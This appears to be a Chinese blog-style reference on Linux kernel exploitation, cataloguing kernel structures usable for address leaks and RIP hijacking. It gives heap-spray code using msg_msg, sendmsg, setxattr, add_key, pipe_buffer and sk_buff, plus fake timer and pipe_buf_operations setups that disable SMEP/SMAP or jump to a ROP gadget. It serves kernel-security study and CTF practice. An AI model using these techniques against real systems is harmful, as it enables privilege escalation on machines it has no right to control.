kernel exploit 有用的结构体
一、可用于 Leak/AAR/AAW/RIP劫持的结构体
说明目前缺少kmalloc-8
、kmalloc-16
、kmalloc-64
、kmalloc-512
结构体。
1. shm_file_data
备注:尝试过重写vm_ops
,但是没发现调用fake_vtable
函数指针的情况。
struct shm_file_data {int id;struct ipc_namespace *ns;struct file *file;const struct vm_operations_struct *vm_ops;
};
/* 测试输出(对一个含UAF漏洞的test.ko进行测试)
0x0000:0x0000000000000000
0x0008:0xffffffff82292ae0
0x0010:0xffff88800ea09700
0x0018:0xffffffff81e15540
[+] kbase = 0xffffffff81000000
[+] kheap = 0xffff88800ea09700
*/
2. seq_operations
劫持RIP:可劫持。修改start
,并调用read,将劫持RIP
产生:open("/proc/self/stat", O_RDONLY)
struct seq_operations {void * (*start) (struct seq_file *m, loff_t *pos);void (*stop) (struct seq_file *m, void *v);void * (*next) (struct seq_file *m, void *v, loff_t *pos);int (*show) (struct seq_file *m, void *v);
};
/*
0x0000: 0xffffffff811c5f70
0x0008: 0xffffffff811c5f90
0x0010: 0xffffffff811c5f80
0x0018: 0xffffffff8120c3f0
[+] kbase = 0xffffffff81000000
Press enter to continue...
[ 6.801190] BUG: unable to handle kernel paging request at 00000000deadbeef
*/
3. msg_msg (+user-supplied data)
size: 0x31-0x1000 kmalloc-64
以上
heap:可泄露。next
指向前一个msgsnd
消息(SLUB上)
释放:到msgrcv()
,接收顺序同发送顺序,所以kfree的顺序也是传输的顺序
备注:非常方便,因为结构的大小可变,但限制是前48字节是头结构,无法重写。
/* one msg_msg structure for each message */
struct msg_msg {struct list_head m_list;long m_type;size_t m_ts; /* message text size */struct msg_msgseg *next;void *security;/* the actual message follows immediately */
};
/*
0x0000: 0xffff88800e1661c0
0x0008: 0xffff88800e1661c0
0x0010: 0x0000000000000001
0x0018: 0x0000000000000020
0x0020: 0x0000000000000000
0x0028: 0xffff88800e8c7f90
0x0030: 0x4242424241414141
0x0038: 0x4444444443434343
0x0040: 0x4646464645454545
0x0048: 0x0000000000000046
[+] kheap = 0xffff88800e1661c0
*/
4. subprocess_info
内核基址:可泄露。work.func
可能指向call_usermodehelper_exec_work
产生:socket(22, AF_INET, 0)
—— 未知协议
struct subprocess_info {struct work_struct work;struct completion *complete;const char *path;char **argv;char **envp;struct file *file;int wait;int retval;pid_t pid;int (*init)(struct subprocess_info *info, struct cred *new);void (*cleanup)(struct subprocess_info *info);void *data;
} __randomize_layout;
/*
0x0000: 0xffff88800f254380
0x0008: 0xffff88800f254e88
0x0010: 0xffff88800f254e88
0x0018: 0xffffffff81071380
0x0020: 0x0000000000000000
0x0028: 0xffffffff82242260
0x0030: 0xffff88800e0e3b40
0x0038: 0xffffffff82242180
0x0040: 0x0000000000000000
0x0048: 0x0000010000000006
0x0050: 0x0000000000000407
0x0058: 0x0000000000000000
[+] kbase = 0xffffffff81000000
[+] kheap = 0xffff88800f254380
Press enter to continue...
[ 6.801190] BUG: unable to handle kernel paging request at 00000000deadbeef
*/
5.cred
heap:可泄露。通过session_keyring
泄露,但是未验证属于哪种SLUB。
struct cred {atomic_t usage;#ifdef CONFIG_DEBUG_CREDENTIALSatomic_t subscribers; /* number of processes subscribed */void *put_addr;unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endifkuid_t uid; /* real UID of the task */kgid_t gid; /* real GID of the task */kuid_t suid; /* saved UID of the task */kgid_t sgid; /* saved GID of the task */kuid_t euid; /* effective UID of the task */kgid_t egid; /* effective GID of the task */kuid_t fsuid; /* UID for VFS ops */kgid_t fsgid; /* GID for VFS ops */unsigned securebits; /* SUID-less security management */kernel_cap_t cap_inheritable; /* caps our children can inherit */kernel_cap_t cap_permitted; /* caps we're permitted */kernel_cap_t cap_effective; /* caps we can actually use */kernel_cap_t cap_bset; /* capability bounding set */kernel_cap_t cap_ambient; /* Ambient capability set */#ifdef CONFIG_KEYSunsigned char jit_keyring; /* default keyring to attach requested keys to */struct key __rcu *session_keyring; /* keyring inherited over fork */struct key *process_keyring; /* keyring private to this process */struct key *thread_keyring; /* keyring private to this thread */struct key *request_key_auth; /* assumed request_key authority */
#endif#ifdef CONFIG_SECURITYvoid *security; /* subjective LSM security */
#endifstruct user_struct *user; /* real user ID subscription */struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */struct group_info *group_info; /* supplementary groups for euid/fsgid *//* RCU deletion */union {int non_rcu; /* Can we skip RCU deletion? */struct rcu_head rcu; /* RCU deletion hook */};
} __randomize_layout;
6. file
劫持RIP:重写f_op
中的shmctl()
来控制,但由于UAF后文件结构没有重叠,验证失败。
struct file {union {struct llist_node fu_llist;struct rcu_head fu_rcuhead;} f_u;struct path f_path;struct inode *f_inode; /* cached value */const struct file_operations *f_op;/** Protects f_ep_links, f_flags.* Must not be taken from IRQ context.*/spinlock_t f_lock;enum rw_hint f_write_hint;atomic_long_t f_count;unsigned int f_flags;fmode_t f_mode;struct mutex f_pos_lock;loff_t f_pos;struct fown_struct f_owner;const struct cred *f_cred;struct file_ra_state f_ra;u64 f_version;
#ifdef CONFIG_SECURITYvoid *f_security;
#endif/* needed for tty driver, and maybe others */void *private_data;#ifdef CONFIG_EPOLL/* Used by fs/eventpoll.c to link all the hooks to this file */struct list_head f_ep_links;struct list_head f_tfile_llink;
#endif /* #ifdef CONFIG_EPOLL */struct address_space *f_mapping;errseq_t f_wb_err;
} __randomize_layout__attribute__((aligned(4))); /* lest something weird decides that 2 is OK */
7. timerfd_ctx
内核基址:可泄露。通过tmr.function
所指向的timerfd_tmrproc
来泄露
struct timerfd_ctx {union {struct hrtimer tmr;struct alarm alarm;} t;ktime_t tintv;ktime_t moffs;wait_queue_head_t wqh;u64 ticks;int clockid;short unsigned expired;short unsigned settime_flags; /* to show in fdinfo */struct rcu_head rcu;struct list_head clist;spinlock_t cancel_lock;bool might_cancel;
};struct hrtimer {struct timerqueue_node node;ktime_t _softexpires;enum hrtimer_restart (*function)(struct hrtimer *);struct hrtimer_clock_base *base;u8 state;u8 is_rel;u8 is_soft;
};
/*
0x0000:0xffff88800e216100
0x0008:0x0000000000000000
0x0010:0x0000000000000000
0x0018:0x000000183ca77938
0x0020:0x000000183ca77938
0x0028:0xffffffff811e7ef0
0x0030:0xffff88800f41ba80
...
[+] kbase = 0xffffffff81000000
[+] kbase = 0xffff88800f41ba80
*/
8. tty_struct
heap:可泄露。通过dev
和driver
,但是未验证属于哪种SLUB。
产生:open("/dev/ptmx", O_RDWR | O_NOCTTY)
struct tty_struct {int magic;struct kref kref;struct device *dev;struct tty_driver *driver;const struct tty_operations *ops;int index;/* Protects ldisc changes: Lock tty not pty */struct ld_semaphore ldisc_sem;struct tty_ldisc *ldisc;struct mutex atomic_write_lock;struct mutex legacy_mutex;struct mutex throttle_mutex;struct rw_semaphore termios_rwsem;struct mutex winsize_mutex;spinlock_t ctrl_lock;spinlock_t flow_lock;/* Termios values are protected by the termios rwsem */struct ktermios termios, termios_locked;struct termiox *termiox; /* May be NULL for unsupported */char name[64];struct pid *pgrp; /* Protected by ctrl lock */struct pid *session;unsigned long flags;int count;struct winsize winsize; /* winsize_mutex */unsigned long stopped:1, /* flow_lock */flow_stopped:1,unused:BITS_PER_LONG - 2;int hw_stopped;unsigned long ctrl_status:8, /* ctrl_lock */packet:1,unused_ctrl:BITS_PER_LONG - 9;unsigned int receive_room; /* Bytes free for queue */int flow_change;struct tty_struct *link;struct fasync_struct *fasync;wait_queue_head_t write_wait;wait_queue_head_t read_wait;struct work_struct hangup_work;void *disc_data;void *driver_data;spinlock_t files_lock; /* protects tty_files list */struct list_head tty_files;#define N_TTY_BUF_SIZE 4096int closing;unsigned char *write_buf;int write_cnt;/* If the tty has a pending do_SAK, queue it here - akpm */struct work_struct SAK_work;struct tty_port *port;
} __randomize_layout;
/*
0x0000:0x0000000100005401
0x0008:0x0000000000000000
0x0010:0xffff88800f1ed840
0x0018:0xffffffff81e65900
0x0020: 0x0000000000000000
...
[+] kbase = 0xffffffff81000000
[+] kheap = 0xffff88800f1ed840
按回车继续...
[5.413411] BUG:无法在 00000000deadbeef 处处理内核分页请求
*/
9. pipe_buffer
size:kmalloc-1024
有 GFP_KERNEL_ACCOUNT
标志。
内核基址:可泄露,ops指针指向anon_pipe_buf_ops
函数表。
劫持RIP:pipe_buffer->ops->release
struct pipe_buffer {struct page *page; // 读写pipe时, 实际上是读写page地址unsigned int offset, len;const struct pipe_buf_operations *ops; // <-------- 函数表unsigned int flags;unsigned long private;
};struct pipe_buf_operations {int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *); // 确保 pipe buffer 中的数据有效,有效则返回0,无效则返回负值错误码。void (*release)(struct pipe_inode_info *, struct pipe_buffer *);// <-------- 释放 pipe bufferbool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};
#define NUM_PIPEFDS 256
int pipefd[NUM_PIPEFDS][2];
// sprayfor (int i = 0; i < NUM_PIPEFDS; i++) {if (pipe(pipefd[i]) < 0) {perror("[-] pipe");goto err_rmid;}// Write something to populate pipe_buffer.if (write(pipefd[i][1], "pwn", 3) < 0) {perror("[-] write");goto err_rmid;}}
// release, triggerfor (int i = 0; i < NUM_PIPEFDS; i++) {if (close(pipefd[i][0]) < 0) {perror("[-] close");goto err_rmid;}if (close(pipefd[i][1]) < 0) {perror("[-] close");goto err_rmid;}}
10. packet_socket
参考:CVE-2016-8655 CVE-2017-6074
size:kmalloc-2048
5.11.14版本中大小为0x5c0。
packet_sock
->rx_ring
->prb_bdqc
->retire_blk_timer
->function
。在timeout超时后调用,可传参,可用于执行native_write_cr4(0x406e0)
来关闭SMEP/SMAP。packet_socket
->xmit
。在接收数据时调用。
struct packet_sock {/* struct sock has to be the first member of packet_sock */struct sock sk;struct packet_fanout *fanout;union tpacket_stats_u stats;struct packet_ring_buffer rx_ring; // <--------------- rx_ringstruct packet_ring_buffer tx_ring;... ...int (*xmit)(struct sk_buff *skb);struct packet_type prot_hook ____cacheline_aligned_in_smp;
};
struct packet_ring_buffer {struct pgv *pg_vec;... ...unsigned int pg_vec_order;unsigned int pg_vec_pages;unsigned int pg_vec_len;unsigned int __percpu *pending_refcnt;struct tpacket_kbdq_core prb_bdqc; // <---------------- prb_bdqc
};
/* kbdq - kernel block descriptor queue */
struct tpacket_kbdq_core {struct pgv *pkbdq;... ...struct sk_buff *skb; // <---------------- skb... ...unsigned short retire_blk_tov;unsigned short version;unsigned long tov_in_jiffies;struct timer_list retire_blk_timer; // <---------------- retire_blk_timer
};
struct timer_list {struct hlist_node entry;unsigned long expires;void (*function)(unsigned long); // 待伪造的回调函数unsigned long data; // 参数u32 flags;
#ifdef CONFIG_TIMER_STATSint start_pid;void *start_site;char start_comm[16];
#endif
#ifdef CONFIG_LOCKDEPstruct lockdep_map lockdep_map;
#endif
};
#define TIMER_OFFSET (744 + 48 + 104)
void init_timer_buffer(char* buffer, void *func, unsigned long arg) {memset(&buffer[0], 0, 2048);struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET];timer->next = 0;timer->prev = 0;timer->expires = 4294943360;timer->function = func;timer->data = arg;timer->flags = 1;timer->slack = -1;
}int timers[6];
int optval = TPACKET_V3;
struct tpacket_req3 tp;
struct udp_fifo_handle uh3;
socketpair(AF_LOCAL, SOCK_DGRAM, 0, uh3->fds);
// 创建 timer
for (i = 0; i < 6; i++) { timer[i] = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));setsockopt(timer[i], SOL_PACKET, PACKET_VERSION, &optval, sizeof(optval));memset(&tp, 0, sizeof(tp));tp.tp_block_size = CONF_RING_FRAMES * getpagesize();tp.tp_block_nr = 1;tp.tp_frame_size = getpagesize();tp.tp_frame_nr = CONF_RING_FRAMES;tp.tp_retire_blk_tov = timeout; // timeout = 500 (0.5s)setsockopt(timer[i], SOL_PACKET, PACKET_RX_RING, (void *)&tp, sizeof(tp));
}
// 堆喷伪造timer
char buffer[2048];
init_timer_buffer(&buffer[0], func, arg);
send(uh3->fds[0], buffer, 1536, 0); // 1536=0x600
sleep(1); // 等待触发
11. sk_buff 线性数据区
struct sk_buff {union {struct {/* These two members must be first. */struct sk_buff *next;struct sk_buff *prev;... ... sk_buff_data_t tail;sk_buff_data_t end;unsigned char *head,*data; // <------------ (head+end) 指向 skb_shared_info 结构unsigned int truesize;atomic_t users;
};struct skb_shared_info {unsigned char nr_frags;__u8 tx_flags;unsigned short gso_size;/* Warning: this field is not always filled in (UFO)! */unsigned short gso_segs;unsigned short gso_type;struct sk_buff *frag_list;struct skb_shared_hwtstamps hwtstamps;u32 tskey;__be32 ip6_frag_id;atomic_t dataref;void * destructor_arg; // <------------ 指向 ubuf_info 结构skb_frag_t frags[MAX_SKB_FRAGS];
};struct ubuf_info {void (*callback)(struct ubuf_info *, bool zerocopy_success); // <------------ 待伪造的回调函数void *ctx;unsigned long desc;
};
构造:只有CVE-2017-6074漏洞中,由于dccp拥塞控制协议对sk_buff
结构进行了double-free,可堆喷劫持。
二、可用于任意数据写入/堆喷的结构
1. msg_msg —— msgsnd()
参考: msgsnd linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用
构造:msgsnd()
发送,msgrcv()
接收。
// 只能控制0x30字节以后的内容
struct {long mtype;char mtext[BUFF_SIZE];
}msg;
memset(msg.mtext, 0x42, BUFF_SIZE-1); // 布置用户空间的内容
msg.mtext[BUFF_SIZE] = 0;
int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
msg.mtype = 1; //必须 > 0
// 假设此时已经产生释放对象,但指针未清空
for(int i = 0; i < 120; i++)msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
// 触发UAF即可
2. sendmsg()
参考:linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用
size:可选(>=2)
产生:sendmsg
,数据放入msg.msg_control
指针。
释放:与产生路径相同。
备注:与setxattr
相同,可与userfaultfd结合使用。
// 限制: BUFF_SIZE > 44
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);
// 布置用户空间buff的内容
msg.msg_control = buff;
msg.msg_controllen = BUFF_SIZE;
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);
// 假设此时已经产生释放对象,但指针未清空
for(int i = 0; i < 100000; i++) {sendmsg(sockfd, &msg, 0);
}
// 触发UAF即可// 方法2int sock[2];socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock);struct mmsghdr msg[1];msg[0].msg_hdr.msg_iovlen = 0;// Buffer to kmalloc.msg[0].msg_hdr.msg_control = &buffer[0];msg[0].msg_hdr.msg_controllen = 2048;// Make sendmmsg exit easy with EINVAL.msg[0].msg_hdr.msg_name = "root";msg[0].msg_hdr.msg_namelen = 1;syscall(__NR_sendmmsg, sock[0], msg, 1, 0);
3. setxattr
参考:setxattr+userfault堆喷 CVE-2019-15666 xfrm UAF 8字节写NULL提权分析
size:可选(<65536)
产生:setxattr()
。
static long setxattr(struct dentry *d, const char __user *name, const void __user *value,size_t size, int flags)
{int error;void *kvalue = NULL;char kname[XATTR_NAME_MAX + 1];... ...if (size) {if (size > XATTR_SIZE_MAX)return -E2BIG;kvalue = kvmalloc(size, GFP_KERNEL); // [1] 分配空间if (!kvalue)return -ENOMEM;if (copy_from_user(kvalue, value, size)) { // [2] 拷贝用户数据error = -EFAULT;goto out;}if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||(strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))posix_acl_fix_xattr_from_user(kvalue, size);}error = vfs_setxattr(d, kname, kvalue, size, flags);
out:kvfree(kvalue); // [3] 释放空间return error;
}
释放:与产生路径相同。
备注:与userfaultfd结合使用。弥补msgsnd
前48字节无法覆盖的缺陷。
void *addr;addr = mmap(NULL, 0x1000, 3, 0x22, -1, 0); /* TODO */setxattr("/etc/passwd", "user.test", addr, 0x400, 1); /* TODO */
4. pipe() —— pipe_buffer
参考:【内核漏洞利用】WCTF 2018 klist—竞争UAF-pipe堆喷 linux kernel pwn学习之条件竞争(一)
read链:read -> ksys_read() -> vfs_read() -> new_sync_read() -> call_read_iter() -> pipe_read()
#define SIZE 0x280char* buf2 = malloc(SIZE); memset(buf2, 'E', SIZE);int fds[2];pipe(&fds[0]);// 堆喷,把结构中的size域覆盖很大,这样就能任意读写for(int i = 0; i < 9; i++)write(fds[1], buf2, SIZE);
5. add_key()
参考:CVE-2017-2636
size:<= kmalloc-8192
最大不超过 /proc/sys/kernel/keys/maxbytes
中规定的值,默认为20000。
产生:add_key
SYSCALL_DEFINE5(add_key, const char __user *, _type,const char __user *, _description,const void __user *, _payload,size_t, plen,key_serial_t, ringid)
{key_ref_t keyring_ref, key_ref;char type[32], *description;void *payload;long ret;... ... // 读取type/descriptionpayload = NULL;if (plen) {ret = -ENOMEM;payload = kvmalloc(plen, GFP_KERNEL); // [1] 分配空间if (!payload)goto error2;ret = -EFAULT;if (copy_from_user(payload, _payload, plen) != 0) // [2] 拷贝用户数据goto error3;}... ...error:return ret;
}
构造:
// 方法1
void spray_addkey(int count) {int i;char payload[BUF_SIZE];char desc[256];memset(payload, 0x42, BUF_SIZE);for(i=0; i<count; i++) {sprintf(desc, "payload%d", i);add_key_arr[i] = _add_key("user", desc, payload, 0x300, KEY_SPEC_PROCESS_KEYRING);}
}
// 方法2
#include <linux/keyctl.h>
#define PAYLOAD_SZ 8100
k[0] = syscall(__NR_add_key, "user", "payload1", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
k[1] = syscall(__NR_add_key, "user", "payload2", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
6. sk_buff
参考:喷射参考CVE-2021-22555,介绍参考CVE-2017-6074。
size:0x280 不包含头信息,可喷射前面的字节,如喷射伪造pipe_buffer->ops
。
创建链:write -> ksys_write() -> vfs_write() -> new_sync_write() -> call_write_iter() -> sock_write_iter() -> sock_sendmsg() -> sock_sendmsg_nosec() -> unix_stream_sendmsg() -> sock_alloc_send_pskb() -> alloc_skb_with_frags() -> alloc_skb() -> __alloc_skb()
read链:read -> ksys_read() -> vfs_read() -> new_sync_read() -> call_read_iter() -> sock_read_iter() -> sock_recvmsg() -> sock_recvmsg_nosec() -> unix_stream_recvmsg() -> unix_stream_read_generic() -> unix_stream_read_actor() -> skb_copy_datagram_msg() -> skb_copy_datagram_iter() -> __skb_datagram_iter()
write链: write -> ksys_write() -> vfs_write() -> new_sync_write() -> call_write_iter() -> sock_write_iter() -> sock_sendmsg() -> sock_sendmsg_nosec() -> unix_stream_sendmsg() -> skb_copy_datagram_from_iter()
static ssize_t sock_write_iter(struct kiocb *iocb, struct iov_iter *from)
{struct file *file = iocb->ki_filp;struct socket *sock = file->private_data;struct msghdr msg = {.msg_iter = *from, // 组装msg结构, 最开始是调用write进行堆喷的,所以没有传入msghdr结构(同sendmsg堆喷时传入的结构一样).msg_iocb = iocb};ssize_t res;if (iocb->ki_pos != 0)return -ESPIPE;if (file->f_flags & O_NONBLOCK || (iocb->ki_flags & IOCB_NOWAIT))msg.msg_flags = MSG_DONTWAIT;if (sock->type == SOCK_SEQPACKET)msg.msg_flags |= MSG_EOR;res = sock_sendmsg(sock, &msg); //*from = msg.msg_iter;return res;
}int skb_copy_datagram_from_iter(struct sk_buff *skb, int offset,struct iov_iter *from,int len)
{int start = skb_headlen(skb); // skb->len - skb->data_len;int i, copy = start - offset; // copy 是线性数据区的剩余空间大小struct sk_buff *frag_iter;
// [1] 拷贝到线性数据区 skb->dataif (copy > 0) {if (copy > len)copy = len;if (copy_from_iter(skb->data + offset, copy, from) != copy)goto fault;if ((len -= copy) == 0)return 0;offset += copy;}
// [2] 拷贝到非线性数据区 skb->fragsfor (i = 0; i < skb_shinfo(skb)->nr_frags; i++) {int end;const skb_frag_t *frag = &skb_shinfo(skb)->frags[i];WARN_ON(start > offset + len);end = start + skb_frag_size(frag);if ((copy = end - offset) > 0) {size_t copied;if (copy > len)copy = len;copied = copy_page_from_iter(skb_frag_page(frag),skb_frag_off(frag) + offset - start,copy, from);if (copied != copy)goto fault;if (!(len -= copy))return 0;offset += copy;}start = end;}
// [3] 拷贝到非线性数据区 skb->fraglistskb_walk_frags(skb, frag_iter) { // for (iter = skb_shinfo(skb)->frag_list; iter; iter = iter->next)int end;WARN_ON(start > offset + len);end = start + frag_iter->len;if ((copy = end - offset) > 0) {if (copy > len)copy = len;if (skb_copy_datagram_from_iter(frag_iter,offset - start,from, copy))goto fault;if ((len -= copy) == 0)return 0;offset += copy;}start = end;}if (!len)return 0;... ...
}
EXPORT_SYMBOL(skb_copy_datagram_from_iter);
构造:
#define SKB_SHARED_INFO_SIZE 0x140
#define NUM_SOCKETS 4
#define NUM_SKBUFFS 128
int ss[NUM_SOCKETS][2];
char buf[0x400 - SKB_SHARED_INFO_SIZE];
for (int i = 0; i < NUM_SOCKETS; i++) socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]);
struct pipe_buffer *p_buf = (struct pipe_buffer *)&buf; // 伪造 pipe_buffer->ops
p_buf->ops = kheap_addr + 0x290;
struct pipe_buf_operations *ops = (struct pipe_buf_operations *)&buf[0x290];
ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39;
for (int i = 0; i < NUM_SOCKETS; i++) {for (int j = 0; j < NUM_SKBUFFS; j++) {if (write(ss[i][0], buf, 0x400-0x140) < 0) {perror("[-] write");return -1;}}
}
// 读取skb内容for (int i = 0; i < NUM_SOCKETS; i++) {for (int j = 0; j < NUM_SKBUFFS; j++) {if (read(ss[i][1], buf, sizeof(buf)) < 0) {perror("[-] read");goto err_rmid;}if (*(uint64_t *)&buf[0x10] != MTYPE_FAKE)pipe_buffer_ops = *(uint64_t *)&buf[0x10]; // 泄露 pipe_buffer->ops —— 内核基址}}
// 释放skbfor (int i = 0; i < NUM_SOCKETS; i++) {for (int j = 0; j < NUM_SKBUFFS; j++) {if (read(ss[i][1], buf, 0x400-0x140) < 0) {perror("[-] read");return -1;}}}
参考:
Kernel Exploit 用到的结构体
https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628 实验环境下载
kernel exploit 有用的结构体相关推荐
- 【Kernel】如何从kernel中获取cred结构体中的value
获取linux kernel cred结构体中成员变量的value时,根绝kernel版本需要做适配. linux kernel 3.5以上,获取cred需要如下处理(重点 cred->uid. ...
- sysinfo结构体
sysinfo结构体 Linux中,可以用sysinfo来获取系统相关信息. Linux中,sysinfo是用来获取系统相关信息的结构体. 函数声明和原型: #include <sys/sysi ...
- sysinfo函数、结构体使用
1,头文件: #include <sys/sysinfo.h> 2,函数声明: int sysinfo(struct sysinfo *info); 3,返回值: 成功返回0,错误返回-1 ...
- InnoDB事务结构体代码变量列表
事务结构 struct trx_t 写在前面 InnoDB是MySQL的一个存储引擎,支持事务,支持非堵塞的一致性读,物理存储结构是Page,每个事务都有回滚日志,重做日志,事务还会有死锁检测,各种各 ...
- 【kernel exploit】CVE-2022-2588 Double-free 漏洞 DirtyCred 利用
影响版本:Linux v3.17 (commit) ~v5.19.1. v5.19.2已修补. 测试版本:Linux-5.19.1 exploit及测试环境下载地址-https://github.co ...
- 流媒体-H264协议-编码-x264学习-主要结构体(二)
流媒体-H264协议-编码-x264学习-相关概念x264编译及文件解析(一) 流媒体-H264协议-编码-x264学习-主要结构体(二) 流媒体-H264协议-编码-x264学习-主要函数(三) 流 ...
- Linux 准确查找结构体定义位置
例如:查找文件操作结构体 struct file_operations, 使用转移符 "\" $ grep struct\ file_operations\ { kernel/in ...
- 简单介绍C语言使用四种方法初始化结构体
这篇文章说明了什么是结构体,介绍了结构体的概念和使用优点,在C语言中如何使用和初始化结构体方法,通过详细的代码展开进行说明,希望该篇文章对你有所帮助 什么是结构体 在实际问题中,一组数据往往有很多种不 ...
- gcc 复杂结构体 初始化_gcc编译选项
本文档参考: gcc 编译选项_aifei7320的专栏-CSDN博客blog.csdn.net -M 生成文档关联的信息.包含目标文档所依赖的任何源代码您能够用gcc -M hello.c来测试一 ...
最新文章
- 如何查看oracle用户具有的权限和角色
- 深究AngularJS——AngularJS中的Controller(控制器)
- android 活动外的类,Android – 活动外的startActivityForResult?
- Python-函数和代码复用
- linux获得蓝牙外设mac,iOS获取蓝牙外设Mac地址
- sklearn字典特征提取
- Python挑战题目,你会了吗?
- Steeltoe之Config客户端篇
- 034 Android NavigationView和DrawerLayout实现抽屉式导航设计(侧边栏效果)
- AI实战 | Tensorflow自定义数据集和迁移学习(附代码下载)
- 实例对象的索引的方法
- 1016.外网资源下载神器
- 5G(10)----5G 终端发展
- 下载安装 Ubuntu 19.04 “Disco Dingo”
- SMBMS项目(一)
- 关于显示屏分辨率的问题
- deepin 切换大黄蜂显卡驱动
- 一元二次方程虚根求法java_请问怎么用C语言求一元二次方程的虚根
- 'CALayer position contains NaN: [nan nan]'异常
- ASP.NET MVC3 AjaxPro2_se7en3_新浪博客
热门文章
- CISCO ASA思科防火墙常用命令
- 【Mysql】utf8与utf8mb4区别,utf8mb4_bin、utf8mb4_general_ci、utf8mb4_unicode_ci区别
- CTF-RSA1(已知p、q、dp、dq、c)
- 常用卫星遥感影像数据源
- div:给div加滚动条 div的滚动条设置
- opencv 边缘检测,角点检测
- 购买阿里云GPU虚拟化型实例规格族vgn6i抢占式实例并搭建CUDA 11.5和cuDNN 8.3.0
- mongo-节点出现recovering状态的处理办法
- 计算机考试感受作文,考试后的感受作文(通用10篇)
- i7 9750h和r7 5800h差距大不大